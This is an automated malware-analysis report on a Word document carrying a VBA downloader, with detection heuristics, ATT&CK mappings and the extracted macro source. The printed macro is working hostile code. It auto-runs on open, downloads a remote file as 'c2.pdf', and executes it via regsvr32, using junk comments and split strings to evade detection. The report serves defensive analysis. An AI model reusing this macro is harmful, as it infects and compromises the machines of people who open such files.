MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine that utilizes URLDownloadToFile to download a file named 'c2.pdf'. Subsequently, it executes this downloaded file using the Shell function. This indicates a downloader pattern designed to fetch and run a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
' Deputy solved courage fisheries Shell wu & bn & "32 c2.pdf" End Sub -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal bB As LongPtr, ByVal Ta As String, ByVal j8 As String, ByVal UF As LongPtr, ByVal gh As LongPtr) As Long #Else -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub autoopen() zV = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3883 bytes |
SHA-256: 3f5784eb687be54a2eea8d8c8c9269365df7380ba427a8230d44a5537583f226 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "nb"
Function q2(QB)
' Nbc gothic
' Satiric mold
' Disposal zones msgstr absinthe mountains snorted
' Ensure lewdness
' Abased none
' Finale
' Daughter chine taken groups poker
' Nocturnal
' Pedestrian patchwork awards uses
' Leniency problem accounts
' Ridge exam
' Haiti bulb dave
' Upper shrewdly grown des perceptive
' Baseball breech
' Writhe incandescent
' Heads erp evaluating
' Who powell foolscap entitled downloading dapper
' Only bleed cleaners
' Colors engaging
' Fencing
' Lauren remainder
' Balkan yr thing
End Function
Sub autoopen()
zV = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
' Thinker granny corroboration handle creator commitment grime
' Cumbrous gloss inexpensive judicature
' Waste brighton productivity ph.d.
' Quench lid rolling watched interred
' Graph tower pave systematically
' Heaviest section nj tomato entertaining
' Participated salmon passively kindle
frm.download zV, "c2.pdf"
' Wat crevasse
' Mart chips satellite pumps
' Associate emails
' Linguist storehouse nec strike trading
' Psp mistake
' Creative tyrone breastwork insertion dude inflected
' Abridged
' Survival tart goths tricky
' Frankfurt satisfied
' Understanding frees latticed knack manhattan
' Bottles
' Dx meekness
' Discovers
' Robots subheading entrepreneurs potentially
' Deputy solved courage fisheries
Shell wu & bn & "32 c2.pdf"
End Sub
Attribute VB_Name = "nb1"
Sub e4()
' Favor realty deeper portable phalanx
' Throwing completes
' Gratuit
' Deliberative elimination newman alien
' Cleave devious po je barony
' Rough bayonet teamster
' Affix pendant worship sawdust
' Inclusion chargers booth taylor
' Shack ground crystal purblind ace
' Engaged grinder tertiary
' Serum surf cataract accepted
' H ready
' Maker average scientist landau
' Chuck thomas condensation
' Via sucking rip recreational
' Specialized gymnastics lenient
' Mailing bonus
' Sections
' Dealers marginal ieee coerce discovery
' Freebsd dipper
' Reed salve levels mammon
' Crazy aborigines stitching birthplace ny
' Saturated clone
' Principle medieval tsp
' Gorse drawback ordain star
' Backing sioux
' Despicable integer hats artist operative
' Jam remarks expires
' Groundwork veneer micah cologne fingers
' Artists for diploma abstemious
' Passer vacation
' Marc
' Rentals honor
' North
' Angelus householder
' Blog
' Astronomy elliott burmese doug saint lawrence
' Lugger
' Goggles abaft incendiary penetration dimple
End Sub
Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal bB As LongPtr, ByVal Ta As String, ByVal j8 As String, ByVal UF As LongPtr, ByVal gh As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal bB As Long, ByVal Ta As String, ByVal j8 As String, ByVal UF As Long, ByVal gh As Long) As Long
#End If
Attribute VB_Name = "frm"
Attribute VB_Base = "0{DD4C05D6-8C82-4B6A-A522-92DBF667D780}{536F8820-9FA5-4E1B-9E4D-11990F864CE1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
URLDownloadToFile 0, url, file, 0, 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 27136 bytes |
SHA-256: 3ee7f72a70d0302646333060b7039bd36c0eb5a91da7ff774b7fa6ec68f21dd6 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.